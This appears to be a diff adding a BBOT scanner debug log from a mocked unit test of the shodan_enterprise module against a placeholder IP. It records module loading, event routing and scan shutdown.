+2026-02-27 18:45:42,214 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified +2026-02-27 18:45:42,214 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 18:45:42,214 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 18:45:42,214 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 18:45:42,214 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 18:45:42,215 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 18:45:42,215 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. +2026-02-27 18:45:42,215 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 18:45:42,215 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 18:45:42,359 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_7klk2r0yti +2026-02-27 18:45:42,360 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 18:45:42,472 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started +2026-02-27 18:45:42,473 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 18:45:42,473 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 18:45:42,474 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-02-27 18:45:42,575 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check +2026-02-27 18:45:42,576 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-02-27 18:45:42,577 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target +2026-02-27 18:45:42,578 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 18:45:42,579 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:45:42,580 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:45:42,581 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-02-27 18:45:42,581 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 18:45:42,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:45:42,584 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 18:45:42,585 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:45:42,586 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:45:42,587 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:45:42,589 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:45:42,590 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 18:45:42,593 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 18:45:42,594 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-02-27 18:45:42,594 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 18:45:42,595 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 18:45:42,595 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded +2026-02-27 18:45:42,675 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 18:45:42,675 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:45:42,676 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET +2026-02-27 18:45:42,676 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-02-27 18:45:42,676 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 18:45:42,677 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 18:45:42,678 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 18:45:42,678 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 18:45:42,679 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 18:45:42,679 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 18:45:42,780 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 18:45:42,781 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 18:45:42,800 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 18:45:42,800 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 18:45:42,801 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks +2026-02-27 18:45:42,809 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks +2026-02-27 18:45:42,809 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 18:45:42,810 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 18:45:42,811 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 18:45:42,811 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 18:45:42,812 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 18:45:42,933 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_7klk2r0yti completed in 0 seconds with status FINISHED +2026-02-27 18:45:42,933 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 18:45:42,934 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:45:42,935 [INFO] bbot test_module_shodan_enterprise.py:13 SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:45:42,936 [INFO] bbot test_module_shodan_enterprise.py:13 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 18:45:42,936 [INFO] bbot test_module_shodan_enterprise.py:13 SCAN("{'id': 'SCAN:6ae54f02b0ef63986dae8bd36cfde6790e0a9d35', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:45:42,938 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 18:45:42,938 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 18:46:52,961 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 18:46:52,970 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 18:46:52,971 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 18:46:52,972 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 18:46:52,972 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 18:46:52,973 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 18:46:52,974 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 18:46:52,975 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 18:46:52,978 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 18:46:52,979 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 18:46:52,980 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 18:46:52,981 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 18:46:52,982 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 18:46:52,983 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 18:46:52,984 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 18:46:52,985 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 18:46:52,985 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 18:46:52,985 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 18:46:52,986 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 18:46:52,987 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 18:46:52,987 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 18:46:52,988 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 18:46:52,989 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 18:46:52,990 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 18:46:52,990 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 18:46:52,990 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 18:46:52,991 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 18:46:52,991 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 18:46:52,992 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 18:46:52,993 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 18:46:52,993 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 18:46:52,994 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 18:46:52,995 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 18:46:52,995 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 18:46:52,996 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 18:46:52,997 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 18:46:52,998 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 18:46:52,999 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 18:46:52,999 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 18:46:53,000 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 18:46:53,001 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 18:46:53,001 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 18:46:53,002 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 18:46:53,003 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 18:46:53,003 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 18:46:53,004 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 18:46:53,005 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 18:46:53,005 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 18:46:53,006 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 18:46:53,007 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 18:46:53,008 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 18:46:53,008 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 18:46:53,009 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 18:46:53,010 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 18:46:53,011 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 18:46:53,012 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 18:46:53,012 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 18:46:53,013 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 18:46:53,014 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 18:46:53,014 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 18:46:53,015 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 18:46:53,015 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 18:46:53,016 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 18:46:53,016 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 18:46:53,017 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 18:46:53,021 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 18:46:53,022 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 18:46:53,022 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 18:46:53,023 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 18:46:53,024 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 18:46:53,024 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 18:46:53,025 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 18:46:53,026 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 18:46:53,027 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 18:46:53,027 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 18:46:53,028 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 18:46:53,029 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 18:46:53,029 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 18:46:53,030 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 18:46:53,031 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 18:46:53,031 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 18:46:53,032 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 18:46:53,033 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 18:46:53,033 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 18:46:53,034 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 18:46:53,034 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 18:46:53,035 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 18:46:53,036 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 18:46:53,036 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 18:46:53,037 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 18:46:53,037 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 18:46:53,043 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 18:46:53,043 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 18:46:53,044 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 18:46:53,045 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 18:46:53,046 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 18:46:53,047 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 18:46:53,048 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 18:46:53,049 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 18:46:53,049 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 18:46:53,050 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 18:46:53,051 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 18:46:53,052 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 18:46:53,053 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 18:46:53,053 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 18:46:53,054 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 18:46:53,055 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 18:46:53,055 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 18:46:53,056 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 18:46:53,056 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 18:46:53,057 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 18:46:53,057 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 18:46:53,058 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 18:46:53,058 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 18:46:53,059 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 18:46:53,060 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 18:46:53,060 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 18:46:53,061 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 18:46:53,062 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 18:46:53,063 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 18:46:53,063 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 18:46:53,064 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 18:46:53,064 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 18:46:53,065 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 18:46:53,065 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 18:46:53,066 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 18:46:53,067 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 18:46:53,067 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 18:46:53,068 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 18:46:53,068 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 18:46:53,069 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 18:46:53,070 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 18:46:53,070 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 18:46:53,071 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 18:46:53,071 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 18:46:53,072 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 18:46:53,072 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 18:46:53,073 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 18:46:53,074 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 18:46:53,074 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 18:46:53,075 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 18:46:53,075 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 18:46:53,076 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 18:46:53,076 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 18:46:53,078 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 18:46:53,078 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 18:46:53,079 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 18:46:53,079 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 18:46:53,080 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 18:46:53,080 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 18:46:53,081 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 18:46:53,081 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 18:46:53,082 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 18:46:53,083 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 18:46:53,084 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 18:46:53,084 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 18:46:53,085 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 18:46:53,085 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 18:46:53,086 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 18:46:53,086 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 18:46:53,087 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 18:46:53,088 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 18:46:53,088 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 18:46:53,089 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 18:46:53,089 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 18:46:53,090 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 18:46:53,090 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 18:46:53,091 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 18:46:53,092 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 18:46:53,092 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 18:46:54,209 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:46:54,209 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:46:54,210 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 18:46:54,354 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 18:46:54,945 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 18:46:54,946 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 18:46:54,946 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 18:46:54,946 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 18:46:55,167 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 18:46:55,167 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 18:46:55,277 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 18:46:55,277 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 18:46:55,333 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 18:46:55,337 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 18:46:55,338 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general 